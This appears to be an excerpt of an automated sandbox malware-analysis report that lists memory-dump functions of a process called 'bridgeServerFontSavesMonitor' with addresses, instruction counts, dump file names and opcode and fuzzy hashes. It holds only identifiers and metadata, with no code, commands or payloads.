Opcode Fuzzy Hash: 28026de5bb953931f9b134d47ce84a6531ddbcf122b7c139be1ecd420cf0cfc4
Instruction Fuzzy Hash: B261B270B19A0E4FEB58EB68C4A5ABD73A2FF98314F154579D00EC72D6CE38A9428741

Function 00007FFD9BAE946D Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82d74479bb7fd05cc28014085e4ae1e45197e3a293d622405fb4be06912fbcbd
Instruction ID: b2adf24a7b137f6afc2ed46943685f8605328f31eb61d7fcde5ea5f30fd1e478
Opcode Fuzzy Hash: 82d74479bb7fd05cc28014085e4ae1e45197e3a293d622405fb4be06912fbcbd
Instruction Fuzzy Hash: CE417030B1990D4FDB58EB69C458AAD73E1FF98310F51027AD01EC76A6DB35A9418B90

Function 00007FFD9BAC0910 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362e5bad4f5bc77f254ed8d69df3dd04aca8bee31f1b90d2921ea719da2030c2
Instruction ID: 1a6fb479ca71fb11c2fc44d3b56297d55e1e6db1c8833555d7c1f0e106dee5b5
Opcode Fuzzy Hash: 362e5bad4f5bc77f254ed8d69df3dd04aca8bee31f1b90d2921ea719da2030c2
Instruction Fuzzy Hash: DC417912B0D55D0FE318FBBCA4A96F87780DF4833AB0406BBE44ECB1E7CD18A8418284

Function 00007FFD9BAFB58C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fd52d39f163917d257c7a97fcc420c93128d376e66392ec36ac3b399e8b009
Instruction ID: 7363023d4da9113fbb027391a4da94d89e4919fe51209e462644bdfe94349351
Opcode Fuzzy Hash: 57fd52d39f163917d257c7a97fcc420c93128d376e66392ec36ac3b399e8b009
Instruction Fuzzy Hash: 5D31F661B19E4E4FE7E8D79C94A66E47AE1EF5C360F4901B6E00DC31E2DD34AD014741

Function 00007FFD9BAC0960 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e18b250f51cc025b63f3585100e9e7e07cae30c880d5282f4a2ac15e66dbd3bf
Instruction ID: 8a1c3738f699c46bf2cf805cd6729142315aa7bf1dd5a02f25d93df067b10bb3
Opcode Fuzzy Hash: e18b250f51cc025b63f3585100e9e7e07cae30c880d5282f4a2ac15e66dbd3bf
Instruction Fuzzy Hash: 3A310911B0D91D0FE768B7ACA46A6F963C1DF9833AB1545BAE40EC72EBDC18AC414285

Function 00007FFD9BAC0998 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d77ef4bceaa71fdb3095e89d72be2fb1a160c88150e0c1ab6ad9819b728946
Instruction ID: dfa98a6e6076edbc9574dc6b593cbc00864ec68fb6a1aa6d9ac435c47c12760b
Opcode Fuzzy Hash: c9d77ef4bceaa71fdb3095e89d72be2fb1a160c88150e0c1ab6ad9819b728946
Instruction Fuzzy Hash: E2210921B1D90D0FE798BB6C946A67A76C2EF9C321B0501B9E40EC33F7DD689C014345

Function 00007FFD9BAED5A9 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a94045bc2d77d894f9a8c00dfa9619b1da2513cd055d01cccb607ef53451a3
Instruction ID: c278f9713b0905eabba25f7db91967094f250d78a0b74aa9caa71704a7e6baf5
Opcode Fuzzy Hash: e9a94045bc2d77d894f9a8c00dfa9619b1da2513cd055d01cccb607ef53451a3
Instruction Fuzzy Hash: 10215A61A4F3C90FD713A77848684A5BFB0DF17204B4A41FBC4C9CB1E3EA29594AC312

Function 00007FFD9BAC0C25 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 282cae9a143f4622e0a540099dcf379b444d737811570b1761f24c71ae24ff60
Instruction ID: 6232a6ee1ba154aa45c98d274a48c3799ed8f82e070dd118b993a15d4f5e3d64
Opcode Fuzzy Hash: 282cae9a143f4622e0a540099dcf379b444d737811570b1761f24c71ae24ff60
Instruction Fuzzy Hash: 49210736B0E29D8EE732B7A898210FC7B60EF52325F1546F7D0588B1D3D9782646C785

Function 00007FFD9BAF27C8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e2b8846c9c9692fe759a2757ac679c4ec4d77d75eb8dd09ff9850feab510fd
Instruction ID: 6da28c7820938f3098fe11a071ab5865896450eeb6567ee5c5695b8d08f8b2bd
Opcode Fuzzy Hash: b6e2b8846c9c9692fe759a2757ac679c4ec4d77d75eb8dd09ff9850feab510fd
Instruction Fuzzy Hash: 1021A731F0DB5D4FEBA8DB98C4A56E87792EF58360F550179E40DD72D2CD686C818780

Function 00007FFD9BAF1F8F Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cad79af15adc241d54b52634ead2a2fa9c67bbb0770eb2aae80ff70459b8fe9b
Instruction ID: c9b81c76ec41fdc27235f9e4d7b2937196cfde3ee7e9ec13c3d615b90891e3e8
Opcode Fuzzy Hash: cad79af15adc241d54b52634ead2a2fa9c67bbb0770eb2aae80ff70459b8fe9b
Instruction Fuzzy Hash: 6F118F2064F3C19FCB179B3488689957FA0AF53211B0E41EED4C5CF0B3DA6C494AC712

Function 00007FFD9BAC2075 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62247cb1923992ab7f3d26ff3fed4a09d206575a2d37f4b10ad2492eba0a89d6
Instruction ID: 9add72f30b78143f4e56f4c93ebd0a5c042984612b0b1661b3d7f9b6b8e7518a
Opcode Fuzzy Hash: 62247cb1923992ab7f3d26ff3fed4a09d206575a2d37f4b10ad2492eba0a89d6
Instruction Fuzzy Hash: 74116330B19A1D4BEAB8FBA884646B87391FF54300F0240B5D04ED72A2DE686D418640

Function 00007FFD9BAC1FE8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77012e9039cef6cc03c662a162a4683eb87986ab557e6b1e9d2fcf242dcc9c8
Instruction ID: e106ebd95293c1084b195be4d8ff97ed263f22c2324668b0df0935aa0d8c4429
Opcode Fuzzy Hash: b77012e9039cef6cc03c662a162a4683eb87986ab557e6b1e9d2fcf242dcc9c8
Instruction Fuzzy Hash: CF115121F1EA1E5BEBB4BB9884646F87291FF48710F1241B6D40ED32F2DE686E408684

Function 00007FFD9BAC449C Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b05e7f6dfe37178d2fff8b91e1964d6d7b8288da079181997ec1210a102b69
Instruction ID: e36f71ed5b646ee0153efdea0a8fbeb3a395694a6b15ba56ab55c41c01deb6e2
Opcode Fuzzy Hash: 68b05e7f6dfe37178d2fff8b91e1964d6d7b8288da079181997ec1210a102b69
Instruction Fuzzy Hash: E711ED3090892C8FDBA8EB08C494BA973E1EB58311F2541A9D44ED3271CF74AE85CB45

Function 00007FFD9BAC5323 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b02f25d0f1bd62d8f118f5512d131a6e7f5df956964b40833f60d7102a1be
Instruction ID: a1fcf0526f4a7f0b9b3f264133566e383ddf75fbb8755962c1c89f108d694b69
Opcode Fuzzy Hash: 424b02f25d0f1bd62d8f118f5512d131a6e7f5df956964b40833f60d7102a1be
Instruction Fuzzy Hash: 5D111E21F1A90E8FEFB4FBB8846967822C1EFA5711F4644B5E00EC72F2DDA8AD414704

Function 00007FFD9BAC0865 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918b7d752593cc348d4f2274dc79c8c348aa27978c0e5d4f18cc1b2361844c09
Instruction ID: bd2a8209fd0a6f1bd1eb819c90fc8457cc3c7fdd755ef7dcfd3a3d21039bdd36
Opcode Fuzzy Hash: 918b7d752593cc348d4f2274dc79c8c348aa27978c0e5d4f18cc1b2361844c09
Instruction Fuzzy Hash: 13119112A1F2954ED326B769AC714E83F209F4662D70A42F7E4888F0A3D9086885C3C5

Function 00007FFD9BAC0C38 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcd62f6f11a0a6ab4c4095631152eef0f0ee96801f84a7f55bd3d455801320ee
Instruction ID: 181ba3e80f822051e41e61aa086348cbdbccc4fdd129154f0b15f4ce1913cd8a
Opcode Fuzzy Hash: fcd62f6f11a0a6ab4c4095631152eef0f0ee96801f84a7f55bd3d455801320ee
Instruction Fuzzy Hash: 0111A035B0E68D8EE722EBA888611AC7BB0EF52711F0646F7C484DB2A3D97816458784

Function 00007FFD9BAC108D Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd6eede389d4f4d7cce58adcda3433717d358f0200b5885d56bf4ff868ee74f
Instruction ID: 0628a4dd02b75af632777129f7806c2d4ef4089eccecc8cf96ff6bbe1d08c0fb
Opcode Fuzzy Hash: 2fd6eede389d4f4d7cce58adcda3433717d358f0200b5885d56bf4ff868ee74f
Instruction Fuzzy Hash: 80012B11A4F6C51FD36957B05C719B13F91CF9722070A02FAE089CB1F3C84D59868351

Function 00007FFD9BAFDA48 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75a1e787d24b12492ad230a6ffe32286ffc13ff442f4b2127e2c6c2f927c4bf
Instruction ID: 4955302d82e03a28715bd233bbeccedd1f31a7b34bd4c2b3232c990c53d3007a
Opcode Fuzzy Hash: e75a1e787d24b12492ad230a6ffe32286ffc13ff442f4b2127e2c6c2f927c4bf
Instruction Fuzzy Hash: 6501D833F0D50D8BFB65DA48D8957FC7791EF84320F060131D40C931A5CE795A818784

Function 00007FFD9BAC0C40 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 338d9661ff98ccbdcd91a5cc0f3aa24b6feb60d480da7105c5f5b7677d4b2380
Instruction ID: 4dd131d922a0bfd88c9283645fdd37735c172c7da46b9aca2b5d119a9795394f
Opcode Fuzzy Hash: 338d9661ff98ccbdcd91a5cc0f3aa24b6feb60d480da7105c5f5b7677d4b2380
Instruction Fuzzy Hash: 6811E135B0E28C8FE722EB6888601AC7FB0EF42710F0641F7C484DB2A3D97816458784

Function 00007FFD9BAC0C48 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4da65f64b3356d4eb78f7591d594c7a2c079fffbd5f0592994f5c70b61c03e63
Instruction ID: eea1433c87a86223e4f7b03d36a9088394e4bc7a66b5fc6d82956cf41bde16d3
Opcode Fuzzy Hash: 4da65f64b3356d4eb78f7591d594c7a2c079fffbd5f0592994f5c70b61c03e63
Instruction Fuzzy Hash: F8019235A0E38D9FD721EB64C8541AC7FB0EF42710F1641E7C454DB2A2D9785645C781

Function 00007FFD9BAFBE35 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 290f3c80127c7cc2430e4af4cd06c90d7abdb94c5e8b405640eb657c162891ae
Instruction ID: 1561fda421518f14444cc699232312c64dd7cd3a03004a6afb07f385df3d4d4f
Opcode Fuzzy Hash: 290f3c80127c7cc2430e4af4cd06c90d7abdb94c5e8b405640eb657c162891ae
Instruction Fuzzy Hash: 7AF02B1671D2540AC72AB32C68754F43F50CF5623A74900F7D0898B0A3D809944AC346

Function 00007FFD9BAC20A4 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13fa36616500ce40822b65a238d87a0679f7d9ca0cfcedc23b3f3403c21563d
Instruction ID: d4c866395610b74a6bdac5e08dc07abedeceb36ef09fec38e1956859ab19e0da
Opcode Fuzzy Hash: e13fa36616500ce40822b65a238d87a0679f7d9ca0cfcedc23b3f3403c21563d
Instruction Fuzzy Hash: 94F03634E1991E8BEBB4BB94C8646F87360FB54311F1241B9C04ED31A1DE786E85CB40

Function 00007FFD9BAC0C50 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd7228c2e0dc7d138fb6cd84e76f5bc923fd98fef48044c16cc6099601ab8e3d
Instruction ID: 38581a06bfb37fd1ca0f51b795b757ab76c544d00a3b241d129794e582e9da25
Opcode Fuzzy Hash: fd7228c2e0dc7d138fb6cd84e76f5bc923fd98fef48044c16cc6099601ab8e3d
Instruction Fuzzy Hash: 67017C34A0E38D9FE721EBA488641AC7FB0AF02714F1541E7C494DB2A3D9785A448745

Function 00007FFD9BAF32E9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec4dec0457c8491c487f5038d8b3708cc5444978cc73e1aca17b31379f8aa83
Instruction ID: 3d7ef19ad59b4ab7263202b440cae82a53d8b1e191f70fca0880308d689c3af0
Opcode Fuzzy Hash: bec4dec0457c8491c487f5038d8b3708cc5444978cc73e1aca17b31379f8aa83
Instruction Fuzzy Hash: 6BE0122060EBC84FC70E963948695507FB1EB6B11178A52DBC445CB2F3D919DD89C752

Function 00007FFD9BAED029 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c43ae8548a6c8baf8326c278fbc20efb516a3154ad84e821ecf5d8c31b4677
Instruction ID: 707e91758471bbe3ea6e68ad489dd34d96fcd526dcf3b7d64acd146258b62881
Opcode Fuzzy Hash: c8c43ae8548a6c8baf8326c278fbc20efb516a3154ad84e821ecf5d8c31b4677
Instruction Fuzzy Hash: 91F06D6151E3C40FC3129B3888654547FB0EA2B20534B05FBC0CACB5B3D91A888B8302

Function 00007FFD9BAD4792 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e126082e6e7d33fbdadeee630665ee9f0c59e8dd31bd30ae80c8bef0500291
Instruction ID: e805c711bc528ae03d3625db703375292f0be2a9ee213c4554534b6a955966ce
Opcode Fuzzy Hash: c9e126082e6e7d33fbdadeee630665ee9f0c59e8dd31bd30ae80c8bef0500291
Instruction Fuzzy Hash: ACF03025B0D41F4BE769EB8494A06B932D5FB94300F15427ED41BD31F6ED68A9128640

Function 00007FFD9BAC1AD2 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 446c6698018bd0aadcd082627104667de6e52e29fbd767b9c9c0287d0e2fe7c3
Instruction ID: 6775719ba2f3a3f281a63fb639520fd0c01e09f134ad3780dedecd889a2359cc
Opcode Fuzzy Hash: 446c6698018bd0aadcd082627104667de6e52e29fbd767b9c9c0287d0e2fe7c3
Instruction Fuzzy Hash: 89E03061F1A81E5FE6B0BB8880643B812D1EB6CB10F4A4172C40ED32A1DDB86D014385

Function 00007FFD9BAD3DB2 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ea42b2bb606dda0b010934ce95ebc77e2adcc2d4a1b94e97b6914bb1a7df75e
Instruction ID: 27af88a063b7ef7b7908f24d13ab54287fcd58814ffefc222166b941b50f7023
Opcode Fuzzy Hash: 4ea42b2bb606dda0b010934ce95ebc77e2adcc2d4a1b94e97b6914bb1a7df75e
Instruction Fuzzy Hash: 09F01D30E1951E8BEB58EB84D864ABD72A1FF54314F01063ED416D7299DBB466008A40

Function 00007FFD9BAC3C45 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243261e8d1098a7afa7f2707c5edd33ad9c3c86006d615b9f063650293f623f5
Instruction ID: b4c6266c8e48bd59eff9bc684a75c1199843e97fa6419dd1c7c22ad235104e6d
Opcode Fuzzy Hash: 243261e8d1098a7afa7f2707c5edd33ad9c3c86006d615b9f063650293f623f5
Instruction Fuzzy Hash: 7BE09A21F1AC2D5FE6B4FB4C80293BC22D2EBAC710F460176C00EC32A2DDB82E424785

Function 00007FFD9BAC0D01 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 189b01c8f967fc67d0d10a0456a0b976cd0d14527ff1d71b1a547067b1ecba70
Instruction ID: f2a3258953b762ae58eeede28478c615e965742f5f2cd6ba5ad0035f71aa32ce
Opcode Fuzzy Hash: 189b01c8f967fc67d0d10a0456a0b976cd0d14527ff1d71b1a547067b1ecba70
Instruction Fuzzy Hash: 72F0B430B0D64E8EE768EB64C4906BD77E0AF54711F14417AD009C32E6DA786680CA44

Function 00007FFD9BAEE749 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6921dbeb3ce898b881a1b1af141a6eb40599e2aa10bed43c4a01d136d6323e
Instruction ID: 6fea124b7c2609e1e42c561a800961a4925cc51ef64ca45e406bcd8b121d0402
Opcode Fuzzy Hash: eb6921dbeb3ce898b881a1b1af141a6eb40599e2aa10bed43c4a01d136d6323e
Instruction Fuzzy Hash: 59E0927160E3C44FCB16EA3488688557FA0EF6B21174A41EEC046CF2A7EA2DCC85CB11

Function 00007FFD9BAED639 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbfbd30a557effa5a1f4c238effb533736f487951f6ae0ca9abc9833238a0df1
Instruction ID: b71520877707e7fa63769699bcf1acb03c740b69a6d2746f4f4d68533352fe04
Opcode Fuzzy Hash: fbfbd30a557effa5a1f4c238effb533736f487951f6ae0ca9abc9833238a0df1
Instruction Fuzzy Hash: 96E09271A4A3C44FCB16AA348868454BFA0EF6720174A52FEC046CF2A7EA2DC886C701

Function 00007FFD9BAC10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f4a6cb9737d9705ba08b95aee8fa6837228f1318e145d83829f04bd12107763
Instruction ID: 6192a1bc619b3b02a9734998f9c0a23a7882829bc4534538c425b854e3975304
Opcode Fuzzy Hash: 0f4a6cb9737d9705ba08b95aee8fa6837228f1318e145d83829f04bd12107763
Instruction Fuzzy Hash: 0EE02621B5D85906EBBCB67468B25B17280DB89334B0506B9D01AC62DACC595CC14281

Function 00007FFD9BAF2049 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 344c34409fb12aaf9034b2d540c0cb5abf031cfedf5ad41746b943d0d6c8cb70
Instruction ID: e1df41ce4b3ebec57643cc7a9a76b473b854f5c112f0923f8b53f51e08b914da
Opcode Fuzzy Hash: 344c34409fb12aaf9034b2d540c0cb5abf031cfedf5ad41746b943d0d6c8cb70
Instruction Fuzzy Hash: 20E0927164E3C08FCB16EB3484688547F60EE6720174A42EEC446CF2A7EA2DC886C711

Function 00007FFD9BAE9339 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78b74fcd8fa0f2c37ab9e8f5d2d9e8a45a0f452e6b07ba804f7464576df84ed
Instruction ID: 850c768f288621bfd64b4b998a71f9faa643c16fe62cd97174e2669ab70bbcdb
Opcode Fuzzy Hash: d78b74fcd8fa0f2c37ab9e8f5d2d9e8a45a0f452e6b07ba804f7464576df84ed
Instruction Fuzzy Hash: E9E04F21A0A7C44FC70A97388C699503FB0EE6B21178F00DBD045CB5F3E519DC48C712

